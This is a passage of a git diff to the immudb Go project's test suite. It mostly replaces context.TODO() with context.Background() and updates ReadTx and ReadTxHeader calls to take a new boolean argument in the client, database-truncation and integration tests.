da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } diff --git a/pkg/client/client_test.go b/pkg/client/client_test.go index 93e6c8e289..d006fbdf68 100644 --- a/pkg/client/client_test.go +++ b/pkg/client/client_test.go @@ -50,6 +50,6 @@ func TestImmuClient_Truncate(t *testing.T) { st := time.Now().Add(-24 * time.Hour) dur := time.Since(st) - err := c.TruncateDatabase(context.TODO(), "defaultdb", dur) + err := c.TruncateDatabase(context.Background(), "defaultdb", dur) require.Error(t, err) } diff --git a/pkg/client/clienttest/immuclient_mock_test.go b/pkg/client/clienttest/immuclient_mock_test.go index 53c8a63f9d..669a152223 100644 --- a/pkg/client/clienttest/immuclient_mock_test.go +++ b/pkg/client/clienttest/immuclient_mock_test.go @@ -84,37 +84,37 @@ func TestImmuClientMock(t *testing.T) { } require.True(t, icm.IsConnected()) - require.Equal(t, errWaitForHealthCheck, icm.WaitForHealthCheck(context.TODO())) - _, err := icm.Connect(context.TODO()) + require.Equal(t, errWaitForHealthCheck, icm.WaitForHealthCheck(context.Background())) + _, err := icm.Connect(context.Background()) require.Equal(t, errConnect, err) err = icm.Disconnect() require.Equal(t, errDisconnect, err) - _, err = icm.Login(context.TODO(), nil, nil) + _, err = icm.Login(context.Background(), nil, nil) require.Equal(t, errLogin, err) - require.Equal(t, errLogout, icm.Logout(context.TODO())) - _, err = icm.VerifiedGet(context.TODO(), nil) + require.Equal(t, errLogout, icm.Logout(context.Background())) + _, err = icm.VerifiedGet(context.Background(), nil) require.Equal(t, errVerifiedGet, err) - _, err = icm.VerifiedSet(context.TODO(), nil, nil) + _, err = icm.VerifiedSet(context.Background(), nil, nil) require.Equal(t, errVerifiedSet, err) - _, err = icm.Set(context.TODO(), nil, nil) + _, err = icm.Set(context.Background(), nil, nil) require.Equal(t, errSet, err) - _, err = icm.VerifiedSetReference(context.TODO(), nil, nil) + _, err = icm.VerifiedSetReference(context.Background(), nil, nil) require.Equal(t, errVerifiedReference, err) - _, err = icm.VerifiedZAdd(context.TODO(), nil, 0., nil) + _, err = icm.VerifiedZAdd(context.Background(), nil, 0., nil) require.Equal(t, errVerifiedZAdd, err) - _, err = icm.History(context.TODO(), nil) + _, err = icm.History(context.Background(), nil) require.Equal(t, errHistory, err) - _, err = icm.CreateDatabaseV2(context.TODO(), "", nil) + _, err = icm.CreateDatabaseV2(context.Background(), "", nil) require.Equal(t, errCreateDatabase, err) } diff --git a/pkg/client/session_test.go b/pkg/client/session_test.go index 6446b02f67..9b3e7c042f 100644 --- a/pkg/client/session_test.go +++ b/pkg/client/session_test.go @@ -31,14 +31,14 @@ import ( func TestImmuClient_OpenSession_ErrParsingKey(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithServerSigningPubKey("invalid")) - err := c.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.Error(t, err) require.ErrorIs(t, err, syscall.ENOENT) } func TestImmuClient_OpenSession_ErrDefaultChunkTooSmall(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithStreamChunkSize(1)) - err := c.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.Error(t, err) require.Equal(t, err.Error(), stream.ErrChunkTooSmall) } @@ -47,25 +47,25 @@ func TestImmuClient_OpenSession_DialError(t *testing.T) { c := NewClient().WithOptions(DefaultOptions().WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { return nil, syscall.ECONNREFUSED })})) - err := c.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.Error(t, err) } func TestImmuClient_OpenSession_OpenSessionError(t *testing.T) { c := NewClient() - err := c.OpenSession(context.TODO(), nil, nil, "") + err := c.OpenSession(context.Background(), nil, nil, "") require.Error(t, err) } func TestImmuClient_OpenSession_OpenAndCloseSessionAfterError_AvoidPanic(t *testing.T) { c := NewClient() - err := c.OpenSession(context.TODO(), nil, nil, "") + err := c.OpenSession(context.Background(), nil, nil, "") require.Error(t, err) // try open session again - err = c.OpenSession(context.TODO(), nil, nil, "") + err = c.OpenSession(context.Background(), nil, nil, "") require.NotErrorIs(t, err, ErrSessionAlreadyOpen) // close over not open session - err = c.CloseSession(context.TODO()) + err = c.CloseSession(context.Background()) require.NotErrorIs(t, err, ErrSessionAlreadyOpen) } @@ -81,7 +81,7 @@ func TestImmuClient_OpenSession_StateServiceError(t *testing.T) { return new(empty.Empty), nil }, } - err := c.OpenSession(context.TODO(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + err := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.Error(t, err) } diff --git a/pkg/client/state/state_service_test.go b/pkg/client/state/state_service_test.go index 2b013f20c8..b9599bee13 100644 --- a/pkg/client/state/state_service_test.go +++ b/pkg/client/state/state_service_test.go @@ -43,14 +43,14 @@ func TestStateService(t *testing.T) { rs, err := NewStateService(cache, logger, stateProvider, uuidProvider) assert.NoError(t, err) - state, err := rs.GetState(context.TODO(), "db1") + state, err := rs.GetState(context.Background(), "db1") assert.NoError(t, err) assert.IsType(t, &schema.ImmutableState{}, state) err = rs.SetState(&schema.ImmutableState{}, "db1") assert.NoError(t, err) - state, err = rs.GetState(context.TODO(), "db1") + state, err = rs.GetState(context.Background(), "db1") assert.NoError(t, err) assert.IsType(t, &schema.ImmutableState{}, state) } diff --git a/pkg/client/stream_test.go b/pkg/client/stream_test.go index 1fe3b8724c..9ea351fa1c 100644 --- a/pkg/client/stream_test.go +++ b/pkg/client/stream_test.go @@ -27,7 +27,7 @@ import ( func TestImmuClient_Errors(t *testing.T) { client := NewClient() - ctx := context.TODO() + ctx := context.Background() _, err := client.StreamVerifiedSet(ctx, nil) require.Error(t, err) diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 60ff740e57..f5e96627cf 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2178,6 +2178,7 @@ func Test_database_truncate(t *testing.T) { db := makeDbWith(t, "db", options) var queryTime time.Time + for i := 2; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), @@ -2185,22 +2186,27 @@ func Test_database_truncate(t *testing.T) { } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) + if i == 10 { queryTime = time.Now() } } c := NewVlogTruncator(db) + hdr, err := c.Plan(queryTime) require.NoError(t, err) require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) - err = c.Truncate(context.TODO(), hdr.ID) + err = c.Truncate(context.Background(), hdr.ID) require.NoError(t, err) for i := hdr.ID; i <= 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) @@ -2209,7 +2215,10 @@ func Test_database_truncate(t *testing.T) { for i := hdr.ID - 1; i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 3ffba61c3e..b07dd59b27 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -90,14 +90,20 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { } deletePointTx := uint64(15) - hdr, err := db.st.ReadTxHeader(deletePointTx, false) + + hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) for i := deletePointTx; i <= 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) @@ -127,14 +133,20 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { } deletePointTx := uint64(5) - hdr, err := db.st.ReadTxHeader(deletePointTx, false) + + hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) for i := deletePointTx; i <= 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.NoError(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) @@ -143,7 +155,10 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { for i := deletePointTx - 1; i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.Error(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) @@ -167,8 +182,10 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { for i := 1; i <= 3; i++ { wg.Add(1) + go func(j int) { defer wg.Done() + for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", k)), @@ -183,14 +200,20 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { wg.Wait() deletePointTx := uint64(15) - hdr, err := db.st.ReadTxHeader(deletePointTx, false) + + hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) for i := deletePointTx; i <= 30; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.Error(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.NoError(t, err) @@ -199,7 +222,10 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { for i := deletePointTx - 1; i > 0; i-- { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(i, tx) + + err = db.st.ReadTx(i, false, tx) + require.Error(t, err) + for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) require.Error(t, err) @@ -325,9 +351,11 @@ func Test_vlogCompactor_with_sql(t *testing.T) { // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() - hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) + hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // should add an extra transaction with catalogue @@ -336,7 +364,8 @@ func Test_vlogCompactor_with_sql(t *testing.T) { t.Run("verify transaction committed post truncation has truncation header", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() - hdr, err := db.st.ReadTxHeader(lastCommitTx, false) + + hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) @@ -355,13 +384,13 @@ func Test_vlogCompactor_with_sql(t *testing.T) { // add KV data for i := 6; i <= 10; i++ { - var err error kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), Value: []byte(fmt.Sprintf("val_%d", i)), } hdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) + committedTxPostTruncation = append(committedTxPostTruncation, hdr) } }) @@ -374,8 +403,10 @@ func Test_vlogCompactor_with_sql(t *testing.T) { t.Run("succeed reading KV data post truncation", func(t *testing.T) { for _, v := range committedTxPostTruncation { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err := db.st.ReadTx(v.Id, tx) + + err := db.st.ReadTx(v.Id, false, tx) require.NoError(t, err) + for _, e := range tx.Entries() { val, err := db.st.ReadValue(e) require.NoError(t, err) @@ -398,23 +429,26 @@ func Test_vlogCompactor_without_data(t *testing.T) { require.Equal(t, uint64(1), db.st.LastCommittedTxID()) deletePointTx := uint64(1) - hdr, err := db.st.ReadTxHeader(deletePointTx, false) + + hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // ensure that a transaction is added for the sql catalog commit require.Equal(t, uint64(2), db.st.LastCommittedTxID()) // verify that the transaction added for the sql catalog commit has the truncation header - hdr, err = db.st.ReadTxHeader(2, false) + hdr, err = db.st.ReadTxHeader(2, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) // verify using the ReadTx API that the transaction added for the sql catalog commit has the truncation header ptx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(2, ptx) + err = db.st.ReadTx(2, false, ptx) require.NoError(t, err) require.True(t, ptx.Header().Metadata.HasTruncatedTxID()) } @@ -437,7 +471,8 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { verify := func(t *testing.T, txID uint64) { lastCommitTx := db.st.LastCommittedTxID() - hdr, err := db.st.ReadTxHeader(lastCommitTx, false) + + hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) @@ -455,9 +490,12 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { t.Run("succeed truncating sql catalog", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() - hdr, err := db.st.ReadTxHeader(lastCommitTx, false) + + hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // should add an extra transaction with catalogue @@ -484,9 +522,12 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { // delete txns in the store upto a certain txn t.Run("succeed truncating sql catalog again", func(t *testing.T) { lastCommitTx := db.st.LastCommittedTxID() - hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false) + + hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) // should add an extra transaction with catalogue @@ -606,11 +647,16 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { go func() { <-startWritesCh + deletePointTx := uint64(5) - hdr, err := db.st.ReadTxHeader(deletePointTx, false) + + hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) + c := NewVlogTruncator(db) + require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + close(doneTruncateCh) }() diff --git a/pkg/integration/auditor_test.go b/pkg/integration/auditor_test.go index 82fdaa8e60..2431e501de 100644 --- a/pkg/integration/auditor_test.go +++ b/pkg/integration/auditor_test.go @@ -132,7 +132,7 @@ func TestDefaultAuditorRunOnEmptyDb(t *testing.T) { ) require.NoError(t, err) auditorDone := make(chan struct{}, 2) - err = da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } @@ -222,9 +222,9 @@ func TestDefaultAuditorRunOnDb(t *testing.T) { require.NoError(t, err) auditorDone := make(chan struct{}, 2) - err = da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) - err = da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } @@ -407,8 +407,8 @@ func testDefaultAuditorRunOnDbWithSignature(t *testing.T, pk *ecdsa.PublicKey) { require.NoError(t, err) auditorDone := make(chan struct{}, 2) - err = da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) - err = da.Run(time.Duration(10), true, context.TODO().Done(), auditorDone) + err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index ed3da335d9..84e72f1203 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -105,7 +105,7 @@ func setupTestServerAndClientWithToken(t *testing.T) (*servertest.BufconnServer, client.WithTokenService(tokenservice.NewInmemoryTokenService()) require.NoError(t, err) - resp, err := client.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) + resp, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`)) require.NoError(t, err) md := metadata.Pairs("authorization", resp.Token) @@ -564,35 +564,35 @@ func TestDatabasesSwitching(t *testing.T) { func TestDatabasesSwitchingWithInMemoryToken(t *testing.T) { _, client, _ := setupTestServerAndClient(t) - err := client.CreateDatabase(context.TODO(), &schema.DatabaseSettings{ + err := client.CreateDatabase(context.Background(), &schema.DatabaseSettings{ DatabaseName: "db1", }) require.NoError(t, err) - resp, err := client.UseDatabase(context.TODO(), &schema.Database{ + resp, err := client.UseDatabase(context.Background(), &schema.Database{ DatabaseName: "db1", }) require.NoError(t, err) require.NotEmpty(t, resp.Token) - _, err = client.VerifiedSet(context.TODO(), []byte(`db1-my`), []byte(`item`)) + _, err = client.VerifiedSet(context.Background(), []byte(`db1-my`), []byte(`item`)) require.NoError(t, err) - err = client.CreateDatabase(context.TODO(), &schema.DatabaseSettings{ + err = client.CreateDatabase(context.Background(), &schema.DatabaseSettings{ DatabaseName: "db2", }) require.NoError(t, err) - resp2, err := client.UseDatabase(context.TODO(), &schema.Database{ + resp2, err := client.UseDatabase(context.Background(), &schema.Database{ DatabaseName: "db2", }) require.NoError(t, err) require.NotEmpty(t, resp2.Token) - _, err = client.VerifiedSet(context.TODO(), []byte(`db2-my`), []byte(`item`)) + _, err = client.VerifiedSet(context.Background(), []byte(`db2-my`), []byte(`item`)) require.NoError(t, err) - vi, err := client.VerifiedGet(context.TODO(), []byte(`db1-my`)) + vi, err := client.VerifiedGet(context.Background(), []byte(`db1-my`)) require.Error(t, err) require.Nil(t, vi) } @@ -623,133 +623,133 @@ func TestImmuClientDisconnect(t *testing.T) { _, err = client.FlushIndex(ctx, 100, true) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.Login(context.TODO(), []byte("user"), []byte("passwd")) + _, err = client.Login(context.Background(), []byte("user"), []byte("passwd")) require.True(t, errors.Is(err.(immuErrors.ImmuError), ic.ErrNotConnected)) - require.True(t, errors.Is(client.Logout(context.TODO()), ic.ErrNotConnected)) + require.True(t, errors.Is(client.Logout(context.Background()), ic.ErrNotConnected)) - _, err = client.Get(context.TODO(), []byte("key")) + _, err = client.Get(context.Background(), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.CurrentState(context.TODO()) + _, err = client.CurrentState(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedGet(context.TODO(), []byte("key")) + _, err = client.VerifiedGet(context.Background(), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.GetAll(context.TODO(), [][]byte{[]byte(`aaa`), []byte(`bbb`)}) + _, err = client.GetAll(context.Background(), [][]byte{[]byte(`aaa`), []byte(`bbb`)}) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.Scan(context.TODO(), &schema.ScanRequest{ + _, err = client.Scan(context.Background(), &schema.ScanRequest{ Prefix: []byte("key"), }) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.ZScan(context.TODO(), &schema.ZScanRequest{Set: []byte("key")}) + _, err = client.ZScan(context.Background(), &schema.ZScanRequest{Set: []byte("key")}) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.Count(context.TODO(), []byte("key")) + _, err = client.Count(context.Background(), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.CountAll(context.TODO()) + _, err = client.CountAll(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.Set(context.TODO(), []byte("key"), []byte("value")) + _, err = client.Set(context.Background(), []byte("key"), []byte("value")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedSet(context.TODO(), []byte("key"), []byte("value")) + _, err = client.VerifiedSet(context.Background(), []byte("key"), []byte("value")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.Set(context.TODO(), nil, nil) + _, err = client.Set(context.Background(), nil, nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.Delete(context.TODO(), nil) + _, err = client.Delete(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.ExecAll(context.TODO(), nil) + _, err = client.ExecAll(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.TxByID(context.TODO(), 1) + _, err = client.TxByID(context.Background(), 1) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedTxByID(context.TODO(), 1) + _, err = client.VerifiedTxByID(context.Background(), 1) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.TxByIDWithSpec(context.TODO(), nil) + _, err = client.TxByIDWithSpec(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.TxScan(context.TODO(), nil) + _, err = client.TxScan(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.History(context.TODO(), &schema.HistoryRequest{ + _, err = client.History(context.Background(), &schema.HistoryRequest{ Key: []byte("key"), }) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.SetReference(context.TODO(), []byte("ref"), []byte("key")) + _, err = client.SetReference(context.Background(), []byte("ref"), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedSetReference(context.TODO(), []byte("ref"), []byte("key")) + _, err = client.VerifiedSetReference(context.Background(), []byte("ref"), []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.ZAdd(context.TODO(), []byte("set"), 1, []byte("key")) + _, err = client.ZAdd(context.Background(), []byte("set"), 1, []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedZAdd(context.TODO(), []byte("set"), 1, []byte("key")) + _, err = client.VerifiedZAdd(context.Background(), []byte("set"), 1, []byte("key")) require.ErrorIs(t, err, ic.ErrNotConnected) - //_, err = client.Dump(context.TODO(), nil) + //_, err = client.Dump(context.Background(), nil) //require.Equal(t, ic.ErrNotConnected, err) - _, err = client.GetSince(context.TODO(), []byte("key"), 0) + _, err = client.GetSince(context.Background(), []byte("key"), 0) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.GetAt(context.TODO(), []byte("key"), 0) + _, err = client.GetAt(context.Background(), []byte("key"), 0) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.ServerInfo(context.TODO(), nil) + _, err = client.ServerInfo(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - err = client.HealthCheck(context.TODO()) + err = client.HealthCheck(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - err = client.CreateDatabase(context.TODO(), nil) + err = client.CreateDatabase(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.UseDatabase(context.TODO(), nil) + _, err = client.UseDatabase(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - err = client.ChangePermission(context.TODO(), schema.PermissionAction_REVOKE, "userName", "testDBName", auth.PermissionRW) + err = client.ChangePermission(context.Background(), schema.PermissionAction_REVOKE, "userName", "testDBName", auth.PermissionRW) require.ErrorIs(t, err, ic.ErrNotConnected) - err = client.SetActiveUser(context.TODO(), nil) + err = client.SetActiveUser(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.ListUsers(context.TODO()) + _, err = client.ListUsers(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.DatabaseList(context.TODO()) + _, err = client.DatabaseList(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.DatabaseListV2(context.TODO()) + _, err = client.DatabaseListV2(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.UpdateDatabaseV2(context.TODO(), "defaultdb", nil) + _, err = client.UpdateDatabaseV2(context.Background(), "defaultdb", nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.CurrentState(context.TODO()) + _, err = client.CurrentState(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedSet(context.TODO(), nil, nil) + _, err = client.VerifiedSet(context.Background(), nil, nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedGet(context.TODO(), nil) + _, err = client.VerifiedGet(context.Background(), nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedZAdd(context.TODO(), nil, 0, nil) + _, err = client.VerifiedZAdd(context.Background(), nil, 0, nil) require.ErrorIs(t, err, ic.ErrNotConnected) - _, err = client.VerifiedSetReference(context.TODO(), nil, nil) + _, err = client.VerifiedSetReference(context.Background(), nil, nil) require.ErrorIs(t, err, ic.ErrNotConnected) } @@ -765,13 +765,13 @@ func TestImmuClientDisconnectNotConn(t *testing.T) { func TestWaitForHealthCheck(t *testing.T) { _, client, _ := setupTestServerAndClient(t) - err := client.WaitForHealthCheck(context.TODO()) + err := client.WaitForHealthCheck(context.Background()) require.NoError(t, err) } func TestWaitForHealthCheckFail(t *testing.T) { client := ic.NewClient() - err := client.WaitForHealthCheck(context.TODO()) + err := client.WaitForHealthCheck(context.Background()) require.Error(t, err) } @@ -1138,7 +1138,7 @@ func TestImmuClient_Logout(t *testing.T) { } client.WithTokenService(tokenServices[i]) - lr, err := client.Login(context.TODO(), []byte(`immudb`), []byte(`immudb`)) + lr, err := client.Login(context.Background(), []byte(`immudb`), []byte(`immudb`)) if err != nil { expect(err) continue @@ -1219,7 +1219,7 @@ func TestImmuClient_SetBatchConcurrent(t *testing.T) { Keys: []io.Reader{strings.NewReader("key1"), strings.NewReader("key2"), strings.NewReader("key3")}, Values: []io.Reader{strings.NewReader("val1"), strings.NewReader("val2"), strings.NewReader("val3")}, } - idx, err := client.SetBatch(context.TODO(), &br) + idx, err := client.SetBatch(context.Background(), &br) require.NoError(t, err) ris <- int(idx.Index) }() @@ -1250,7 +1250,7 @@ func TestImmuClient_GetBatchConcurrent(t *testing.T) { Keys: []io.Reader{strings.NewReader("key1"), strings.NewReader("key2"), strings.NewReader("key3")}, Values: []io.Reader{strings.NewReader("val1"), strings.NewReader("val2"), strings.NewReader("val3")}, } - _, err := client.SetBatch(context.TODO(), &br) + _, err := client.SetBatch(context.Background(), &br) require.NoError(t, err) }() } @@ -1261,14 +1261,14 @@ func TestImmuClient_GetBatchConcurrent(t *testing.T) { wg1.Add(1) go func() { defer wg1.Done() - sil, err := client.GetBatch(context.TODO(), [][]byte{[]byte(`key1`), []byte(`key2`)}) + sil, err := client.GetBatch(context.Background(), [][]byte{[]byte(`key1`), []byte(`key2`)}) require.NoError(t, err) sils <- sil }() wg1.Add(1) go func() { defer wg1.Done() - sil, err := client.GetBatch(context.TODO(), [][]byte{[]byte(`key3`)}) + sil, err := client.GetBatch(context.Background(), [][]byte{[]byte(`key3`)}) require.NoError(t, err) sils <- sil }() @@ -1300,11 +1300,11 @@ func (p BytesSlice) Swap(i, j int) { p[i], p[j] = p[j], p[i] } func TestImmuClient_GetReference(t *testing.T) { setup() - idx, err := client.Set(context.TODO(), []byte(`key`), []byte(`value`)) + idx, err := client.Set(context.Background(), []byte(`key`), []byte(`value`)) require.NoError(t, err) - _, err = client.Reference(context.TODO(), []byte(`reference`), []byte(`key`), idx) + _, err = client.Reference(context.Background(), []byte(`reference`), []byte(`key`), idx) require.NoError(t, err) - op, err := client.GetReference(context.TODO(), &schema.Key{Key: []byte(`reference`)}) + op, err := client.GetReference(context.Background(), &schema.Key{Key: []byte(`reference`)}) require.IsType(t, &schema.StructuredItem{}, op) require.NoError(t, err) client.Disconnect() @@ -1322,7 +1322,7 @@ func TestEnforcedLogoutAfterPasswordChangeWithToken(t *testing.T) { userNewPassword = "2Password!*" testDBName = "test" testDB = &schema.Database{DatabaseName: testDBName} - testUserContext = context.TODO() + testUserContext = context.Background() ) // step 1: create test database err := client.CreateDatabase(ctx, &schema.DatabaseSettings{DatabaseName: testDBName}) @@ -1339,7 +1339,7 @@ func TestEnforcedLogoutAfterPasswordChangeWithToken(t *testing.T) { require.NoError(t, err) // step 3: create test client and context - lr, err := client.Login(context.TODO(), []byte(userName), []byte(userPassword)) + lr, err := client.Login(context.Background(), []byte(userName), []byte(userPassword)) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) @@ -1376,7 +1376,7 @@ func TestEnforcedLogoutAfterPasswordChangeWithSessions(t *testing.T) { userPassword = "1Password!*" userNewPassword = "2Password!*" testDBName = "test" - testUserContext = context.TODO() + testUserContext = context.Background() ) // step 1: create test database err := client.CreateDatabase(ctx, 